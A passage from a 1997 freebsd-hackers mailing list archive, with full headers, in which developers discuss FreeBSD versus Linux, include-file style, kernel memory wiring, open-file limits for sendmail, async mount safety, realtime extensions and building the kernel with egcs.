hackers-outgoing; Sun, 5 Oct 1997 16:41:09 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA16852 for ; Sun, 5 Oct 1997 16:41:06 -0700 (PDT) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 15593 invoked by uid 1000); 5 Oct 1997 23:41:32 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha-092997 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199710052330.QAA23680@usr05.primenet.com> Date: Sun, 05 Oct 1997 16:41:32 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Terry Lambert Subject: Re: Good Lord, Commercial Linux Cc: freebsd-hackers@FreeBSD.ORG, (Andreas Klemm) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Terry Lambert; On 05-Oct-97 you wrote: > > Or did you compare things like the speed of rm -rf on a large > > directory tree without recognizing, that FreeBSD doesn't do > > asynchronous I/O to a file system as default ?! > > > > Please facts here. > > Sure. No problem. Repeat the test ten times. For five of them, > switch the machine off halfway through. Verify that the last file > it said it removed was in fact the same or only one file away from > the last file actually removed. > > Who else has screwed up deleteing, and hit the power to save their > bacon? I'm not proud: I admit doing it. I have never done that! :-) The power switch bit, that is. I hope my message in this thread is clear: Overall, FreeBSD is superior to Linux, and in more than one way. The functionality is very similar, and in many areas, so is the performance. Where functionality differences exist, they are minor, in most cases. The flow of knwoledge and sources back and forth is too great for this not to be true (for more than few relase cycles). I chose FreeBSD ove Linux for reasons other than above. Is it a much easier environment to be in? Normally yes, but not necessarily always. Am I willing to absorb the difficulties? Absolutely! --- Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-hackers Sun Oct 5 16:41:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA16905 for hackers-outgoing; Sun, 5 Oct 1997 16:41:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA16896 for ; Sun, 5 Oct 1997 16:41:55 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id QAA24216; Sun, 5 Oct 1997 16:41:53 -0700 (MST) From: Terry Lambert Message-Id: <199710052341.QAA24216@usr05.primenet.com> Subject: Re: Minor error (?) in regex.h To: brian@awfulhak.org (Brian Somers) Date: Sun, 5 Oct 1997 23:41:52 +0000 (GMT) Cc: Shimon@i-Connect.Net, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710050916.KAA11200@awfulhak.demon.co.uk> from "Brian Somers" at Oct 5, 97 10:16:34 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The stuff in /usr/include isn't meant to be standalone - it's a > hysterically religious thing. Having to do with relative compilation times based on how the C preprocessor works. The problem with making the cpp "know" the file to be included is already in scope is truly religious history: you can't be sure that some idiot trying to program C++ in C didn't define something, #include a file which ##'ed the something as a prefix/suffix, then redefined the thing, and included the same file again (think of "template classes for C" and you will get the -- nauseating -- picture). In addition, there are know dwiddley's (a dwiddley is someone who puts code in an include file). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 16:50:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA17314 for hackers-outgoing; Sun, 5 Oct 1997 16:50:12 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA17307 for ; Sun, 5 Oct 1997 16:50:07 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id QAA23075; Sun, 5 Oct 1997 16:47:42 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd023072; Sun Oct 5 23:47:35 1997 Message-ID: <343826D7.102F11D5@whistle.com> Date: Sun, 05 Oct 1997 16:46:31 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Terry Lambert CC: mdean@best.com, freebsd-hackers@FreeBSD.ORG Subject: Re: lkms versus hard linked drivers References: <199710052309.QAA22634@usr05.primenet.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert wrote: > > This is actually a bug, since it relates to the ability to mark areas > of RAM off limits for reuse, and force the contents of that area out > to swap; when that region is swapped back in, it will not be to the > area marked off limits. Unfortunatly it doesn't help for the 'wired down' pages the kernel owns scattered throughout physical memory. From owner-freebsd-hackers Sun Oct 5 17:13:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA18707 for hackers-outgoing; Sun, 5 Oct 1997 17:13:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA18701 for ; Sun, 5 Oct 1997 17:13:12 -0700 (PDT) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 4930 invoked by uid 1000); 6 Oct 1997 00:13:38 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha-092997 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199710052341.QAA24216@usr05.primenet.com> Date: Sun, 05 Oct 1997 17:13:38 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Terry Lambert Subject: Re: Minor error (?) in regex.h Cc: freebsd-hackers@FreeBSD.ORG, (Brian Somers) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Terry Lambert; On 05-Oct-97 you wrote: > > The stuff in /usr/include isn't meant to be standalone - it's a > > hysterically religious thing. > > Having to do with relative compilation times based on how the C > preprocessor works. > > The problem with making the cpp "know" the file to be included is > already in scope is truly religious history: you can't be sure > that some idiot trying to program C++ in C didn't define something, > #include a file which ##'ed the something as a prefix/suffix, then > redefined the thing, and included the same file again (think of > "template classes for C" and you will get the -- nauseating -- picture). > > In addition, there are know dwiddley's (a dwiddley is someone who puts > code in an include file). So, some of the contributors to FreeBSD are dwiddley's (LOVE that expression :-), as I never thought this to be permissable, until I read some sources here :-)) Don't remember whwere but these where some inline functions. BTW, is queue.h, which is full of #define's as long as functions, a Dwiddled code? This is a humorous, tention breaker. Right? --- Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-hackers Sun Oct 5 17:51:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA20634 for hackers-outgoing; Sun, 5 Oct 1997 17:51:06 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from nemesis.idirect.com (root@nemesis.idirect.com [207.136.80.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA20627 for ; Sun, 5 Oct 1997 17:51:03 -0700 (PDT) (envelope-from jlixfeld@idirect.com) Received: from thor.idirect.com (jlixfeld@thor.idirect.com [207.136.80.105]) by nemesis.idirect.com (8.8.5/8.8.4) with SMTP id UAA11744; Sun, 5 Oct 1997 20:51:01 -0400 (EDT) Received: from localhost (jlixfeld@localhost) by thor.idirect.com (8.6.12/8.6.12) with SMTP id UAA07805; Sun, 5 Oct 1997 20:51:00 -0400 X-Authentication-Warning: thor.idirect.com: jlixfeld owned process doing -bs Date: Sun, 5 Oct 1997 20:51:00 -0400 (EDT) From: Jason Lixfeld To: "Daniel O'Callaghan" cc: freebsd-hackers@freebsd.org Subject: Re: Increasing max open files per process @ system level In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk That's what I thought! Thanks! I'm running this on a PentiumII 233 w/256MB RAM.. I set OPEN_MAX and CHILD_MAX to 128. Is this sufficient, or can/should I go higher?! On Mon, 6 Oct 1997, Daniel O'Callaghan wrote: > On Sun, 5 Oct 1997, Jason Lixfeld wrote: > > > I'm configuring Sendmail 8.8.8 on FreeBSD 2.2.2, and I'm setting > > ConnectionCacheSize=4. To do this, I must increase the number of open > > files per process at the system level. How do I do this?! I assume this > > is a kernel compilation option.. if so, what is it.. if not, how do I set > > the aforementioned? > > Look in /usr/src/sys/i386/conf/LINT for "OPEN_MAX" > > > /* Daniel O'Callaghan */ > /* HiLink Internet danny@hilink.com.au */ > /* FreeBSD - works hard, plays hard... danny@freebsd.org */ > > From owner-freebsd-hackers Sun Oct 5 17:51:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA20658 for hackers-outgoing; Sun, 5 Oct 1997 17:51:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA20653 for ; Sun, 5 Oct 1997 17:51:19 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id RAA28082; Sun, 5 Oct 1997 17:51:10 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id RAA04768; Sun, 5 Oct 1997 17:51:09 -0700 (PDT) Date: Sun, 5 Oct 1997 17:51:09 -0700 (PDT) From: mdean To: "Jordan K. Hubbard" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Kernel function index. In-Reply-To: <1585.876036173@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Here is the result of the make tags HTML=yes (it went for quite a while) ===> gnu/lib/libg++/doc ===> gnu/lib/libgmp ===> gnu/lib/libgmp/doc ===> gnu/lib/libmp ===> gnu/lib/libobjc ===> gnu/lib/libregex /./test/g++malloc.c/: nested *?+ in regexp at /usr/bin/htags line 911, li ne 33*** Error code 2 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. From owner-freebsd-hackers Sun Oct 5 17:55:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA20906 for hackers-outgoing; Sun, 5 Oct 1997 17:55:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA20901 for ; Sun, 5 Oct 1997 17:55:28 -0700 (PDT) (envelope-from yokota@zodiac.mech.utsunomiya-u.ac.jp) Received: by outmail.utsunomiya-u.ac.jp id AA02689; Mon, 6 Oct 1997 09:55:01 +0900 Received: from zodiac.mech.utsunomiya-u.ac.jp (zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id KAA26516; Mon, 6 Oct 1997 10:01:12 +0900 (JST) Message-Id: <199710060101.KAA26516@zodiac.mech.utsunomiya-u.ac.jp> To: dcarmich@mcs.com Cc: freebsd-hackers@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: Update on accessibility w/FreeBSD In-Reply-To: Your message of "Sat, 04 Oct 1997 16:36:45 EST." <199710042136.QAA00718@dcarmich.pr.mcs.net> References: <199710042136.QAA00718@dcarmich.pr.mcs.net> Date: Mon, 06 Oct 1997 10:01:11 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >One manufacturer of augmentative/alternative communication and assistive devic >es (Prentke Romich Company (or PRC), http://www.prentrom.com) makes a box that > translates the infrared output or RS-232 output of the communication device i >nto standard PS/2 keyboard/mouse signals. [...] >Ideas: >1) Make an on-screen keyboard that fits into the XKB framework and injects key >strokes into the X server. Have you looked at `xkeycaps'? I think it has a feature to stuff key code to another window when a key in the graphical representation of the keyboard is clicked. Kazu >2) Hack the console driver to only require one key (which could be defined on >the device's keyboard) to switch to a certain VT (and distribute FreeBSD with >all eleven VTs (leaving 1 free for X) enabled) >3) Hack the X server to also display the current window in focus out on the se >rial line back to the device's LCD screen >(any more?) From owner-freebsd-hackers Sun Oct 5 18:06:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA21615 for hackers-outgoing; Sun, 5 Oct 1997 18:06:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: (from ahd@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA21602 for hackers; Sun, 5 Oct 1997 18:06:16 -0700 (PDT) (envelope-from ahd) Date: Sun, 5 Oct 1997 18:06:16 -0700 (PDT) From: Drew Derbyshire Message-Id: <199710060106.SAA21602@hub.freebsd.org> To: hackers Subject: mount async and possible loss of F/S Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The mount command cheerfully states that the async option is not to be used unless you are prepared to recreate the file system. Ummm, exactly what is left so hanging in the wind that you lose the file system rather than just the recent updates? Thanks -ahd- From owner-freebsd-hackers Sun Oct 5 18:11:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA22100 for hackers-outgoing; Sun, 5 Oct 1997 18:11:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA22064 for ; Sun, 5 Oct 1997 18:11:22 -0700 (PDT) (envelope-from danny@panda.hilink.com.au) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id LAA15456; Mon, 6 Oct 1997 11:11:10 +1000 (EST) Date: Mon, 6 Oct 1997 11:11:09 +1000 (EST) From: "Daniel O'Callaghan" To: Jason Lixfeld cc: freebsd-hackers@freebsd.org Subject: Re: Increasing max open files per process @ system level In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 5 Oct 1997, Jason Lixfeld wrote: > That's what I thought! Thanks! I'm running this on a PentiumII 233 > w/256MB RAM.. I set OPEN_MAX and CHILD_MAX to 128. Is this sufficient, > or can/should I go higher?! Should be fine, for sendmail. webservers need more. Danny From owner-freebsd-hackers Sun Oct 5 18:19:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA22432 for hackers-outgoing; Sun, 5 Oct 1997 18:19:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA22427; Sun, 5 Oct 1997 18:19:14 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id SAA29221; Sun, 5 Oct 1997 18:14:54 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id SAA11751; Sun, 5 Oct 1997 18:14:53 -0700 (PDT) Date: Sun, 5 Oct 1997 18:14:53 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org cc: freebsd-realtime@freebsd.org Subject: Realtime Assistance Needed. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Take a look at http://www.rtmx.com Does anybody here have any experience with that os (note the openbsd link at the bottom of the page). I am going to go pick up a book on POSIX realtime, but should I be able to do the realtime type of operations I have written about previously? Generating a 500hz variable frequency (oxy) pulse train? Or reading in voltage inputs once every millisecond reliably. Is POSIX 1003.x what I am searching for? Why is there a link to openbsd there, does openbsd have some realitime extensions? From owner-freebsd-hackers Sun Oct 5 18:28:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA22922 for hackers-outgoing; Sun, 5 Oct 1997 18:28:57 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA22915 for ; Sun, 5 Oct 1997 18:28:55 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id SAA03072; Sun, 5 Oct 1997 18:28:52 -0700 (MST) From: Terry Lambert Message-Id: <199710060128.SAA03072@usr05.primenet.com> Subject: Re: lkms versus hard linked drivers To: julian@whistle.com (Julian Elischer) Date: Mon, 6 Oct 1997 01:28:52 +0000 (GMT) Cc: tlambert@primenet.com, mdean@best.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <343826D7.102F11D5@whistle.com> from "Julian Elischer" at Oct 5, 97 04:46:31 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > This is actually a bug, since it relates to the ability to mark areas > > of RAM off limits for reuse, and force the contents of that area out > > to swap; when that region is swapped back in, it will not be to the > > area marked off limits. > > Unfortunatly it doesn't help for the 'wired down' pages the kernel > owns scattered throughout physical memory. Right. This is why I whine about kernel-swapping semi-regularly. I think ELF section attribtion would be enough to handle this *IFF* the hints were placed in the source files (via #pragma?) to let the kernel know which wrired pages could be rewired, and which couldn't. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 18:37:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA23473 for hackers-outgoing; Sun, 5 Oct 1997 18:37:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA23454; Sun, 5 Oct 1997 18:37:22 -0700 (PDT) (envelope-from perlsta@cs.sunyit.edu) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.7/8.8.5) with SMTP id VAA02427; Sun, 5 Oct 1997 21:42:22 -0500 (EST) X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Sun, 5 Oct 1997 21:42:21 -0500 (EST) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: Drew Derbyshire cc: hackers@hub.freebsd.org Subject: Re: mount async and possible loss of F/S In-Reply-To: <199710060106.SAA21602@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk if you lose power during disk activity a LOT of changes might be funny on the disk and definetly in the directory where the disk activity was going on, you can loose a lot of files, but if you back up often it's a real speed increase... .________________________________________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin --"Have you seen my FreeBSD tatoo?" |perlsta@sunyit.edu --"who was that masked admin?" |http://www.cs.sunyit.edu/~perlsta : ' On Sun, 5 Oct 1997, Drew Derbyshire wrote: > The mount command cheerfully states that the async option is not to be used > unless you are prepared to recreate the file system. Ummm, exactly > what is left so hanging in the wind that you lose the file system rather > than just the recent updates? > > Thanks > -ahd- > From owner-freebsd-hackers Sun Oct 5 19:24:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA25659 for hackers-outgoing; Sun, 5 Oct 1997 19:24:22 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from brickbat9.mindspring.com (brickbat9.mindspring.com [207.69.200.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA25642; Sun, 5 Oct 1997 19:24:18 -0700 (PDT) (envelope-from kpneal@pobox.com) Received: from bogus.mindspring.com (user-38lc5km.dialup.mindspring.com [209.86.22.150]) by brickbat9.mindspring.com (8.8.5/8.8.5) with SMTP id WAA22552; Sun, 5 Oct 1997 22:24:12 -0400 (EDT) Message-Id: <1.5.4.32.19971006022416.009d9b48@mindspring.com> X-Sender: kpneal@mindspring.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 05 Oct 1997 22:24:16 -0400 To: mdean From: "Kevin P. Neal" Subject: Re: Realtime Assistance Needed. Cc: freebsd-hackers@FreeBSD.ORG, freebsd-realtime@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 06:14 PM 10/5/97 -0700, mdean wrote: > > >Take a look at http://www.rtmx.com > >Does anybody here have any experience with that os (note the openbsd link Well, they're located in Durham, NC. Seems like it'd be a fine place to work if I didn't have having to go through RTP traffic in the afternoon. >Why is there a link to openbsd there, does openbsd have some realitime >extensions? Yes OpenBSD does have realtime extensions: RTMX. Obviously those extensions are not in the OpenBSD tree; they're in the private RTMX tree. I did hear a whisper about those realtime extensions being released to the public, but I don't know if that will ever happen. (sorry about the crosspost) -- XCOMM Kevin P. Neal, Junior, Comp. Sci. - House of Retrocomputing XCOMM mailto:kpneal@pobox.com - http://www.pobox.com/~kpn/ XCOMM kpneal@eos.ncsu.edu Spoken by Keir Finlow-Bates: XCOMM "Good grief, I've just noticed I've typed in a rant. Sorry chaps!" From owner-freebsd-hackers Sun Oct 5 19:38:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA26343 for hackers-outgoing; Sun, 5 Oct 1997 19:38:09 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pcpsj.pfcs.com (GY8vz0vDTABzrCy3xKvwLdG0Q7D3bAzp@harlan.fred.net [205.252.219.31]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA26335 for ; Sun, 5 Oct 1997 19:38:05 -0700 (PDT) (envelope-from harlan@mumps.pfcs.com) Received: from mumps.pfcs.com (mumps.pfcs.com [192.52.69.11]) by pcpsj.pfcs.com (8.8.6/8.6.9) with SMTP id WAA27377 for ; Sun, 5 Oct 1997 22:06:07 -0400 (EDT) Received: from localhost by mumps.pfcs.com with SMTP id AA14455 (5.67b/IDA-1.5 for ); Sun, 5 Oct 1997 22:06:06 -0400 To: hackers@freebsd.org Subject: Compiling -stable with egcs... Date: Sun, 05 Oct 1997 22:06:05 -0300 Message-Id: <14453.876103565@mumps.pfcs.com> From: Harlan Stenn Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk After some light hacking to the Makefile, I compiled a kernel using: gcc version egcs-2.90.11 970929 (gcc2-970802 experimental) Here's the result: size kernel.* text data bss dec hex 1060864 98304 111584 1270752 1363e0 kernel.cc 1060864 585728 109776 1756368 1accd0 kernel.egcs Now to see if it boots... H From owner-freebsd-hackers Sun Oct 5 19:56:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA27231 for hackers-outgoing; Sun, 5 Oct 1997 19:56:24 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pcpsj.pfcs.com (fQZ5YVPYgUI1slT6T16eb8ZHdzR1NtzA@harlan.fred.net [205.252.219.31]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA27226 for ; Sun, 5 Oct 1997 19:56:18 -0700 (PDT) (envelope-from harlan@mumps.pfcs.com) Received: from mumps.pfcs.com (mumps.pfcs.com [192.52.69.11]) by pcpsj.pfcs.com (8.8.6/8.6.9) with SMTP id WAA27542 for ; Sun, 5 Oct 1997 22:56:08 -0400 (EDT) Received: from localhost by mumps.pfcs.com with SMTP id AA14525 (5.67b/IDA-1.5 for ); Sun, 5 Oct 1997 22:56:07 -0400 To: hackers@freebsd.org Subject: egcs-compiled kernel... Date: Sun, 05 Oct 1997 22:56:07 -0300 Message-Id: <14523.876106567@mumps.pfcs.com> From: Harlan Stenn Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk It booted and hasn't crashed yet... I'm running a bunch of X stuff, and will soon start to do some NFS traffic. H From owner-freebsd-hackers Sun Oct 5 20:19:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA28134 for hackers-outgoing; Sun, 5 Oct 1997 20:19:40 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id UAA28129 for ; Sun, 5 Oct 1997 20:19:38 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xI3ho-0002bw-00; Sun, 5 Oct 1997 21:19:36 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id VAA10656; Sun, 5 Oct 1997 21:21:03 -0600 (MDT) Message-Id: <199710060321.VAA10656@harmony.village.org> To: Harlan Stenn Subject: Re: Compiling -stable with egcs... Cc: hackers@freebsd.org In-reply-to: Your message of "Sun, 05 Oct 1997 22:06:05 -0300." <14453.876103565@mumps.pfcs.com> References: <14453.876103565@mumps.pfcs.com> Date: Sun, 05 Oct 1997 21:21:03 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <14453.876103565@mumps.pfcs.com> Harlan Stenn writes: : 1060864 98304 111584 1270752 1363e0 kernel.cc : 1060864 585728 109776 1756368 1accd0 kernel.egcs Hmmm. I think you want to have -fno-exceptions in the command line. Otherwise egcs will bloat things badly due to exception code being bogusly generated by default. Warner From owner-freebsd-hackers Sun Oct 5 20:19:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA28156 for hackers-outgoing; Sun, 5 Oct 1997 20:19:52 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id UAA28151 for ; Sun, 5 Oct 1997 20:19:50 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xI3i0-0002by-00; Sun, 5 Oct 1997 21:19:48 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id VAA10669; Sun, 5 Oct 1997 21:21:15 -0600 (MDT) Message-Id: <199710060321.VAA10669@harmony.village.org> To: Harlan Stenn Subject: Re: egcs-compiled kernel... Cc: hackers@freebsd.org In-reply-to: Your message of "Sun, 05 Oct 1997 22:56:07 -0300." <14523.876106567@mumps.pfcs.com> References: <14523.876106567@mumps.pfcs.com> Date: Sun, 05 Oct 1997 21:21:15 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <14523.876106567@mumps.pfcs.com> Harlan Stenn writes: : It booted and hasn't crashed yet... Cool! Warner From owner-freebsd-hackers Sun Oct 5 20:31:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA28786 for hackers-outgoing; Sun, 5 Oct 1997 20:31:45 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sasami.jurai.net (winter@sasami.jurai.net [207.96.1.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA28781 for ; Sun, 5 Oct 1997 20:31:42 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.7/8.8.7) with SMTP id XAA29121; Sun, 5 Oct 1997 23:31:32 -0400 (EDT) Date: Sun, 5 Oct 1997 23:31:32 -0400 (EDT) From: "Matthew N. Dodd" To: Jason Lixfeld cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Increasing max open files per process @ system level In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 5 Oct 1997, Jason Lixfeld wrote: > I'm configuring Sendmail 8.8.8 on FreeBSD 2.2.2, and I'm setting Where the heck did you get 8.8.8? /* Matthew N. Dodd | A memory retaining a love you had for life winter@jurai.net | As cruel as it seems nothing ever seems to http://www.jurai.net/~winter | go right - FLA M 3.1:53 */ From owner-freebsd-hackers Sun Oct 5 20:42:16 1997 Return-Path: Received: (from root@localhost) by 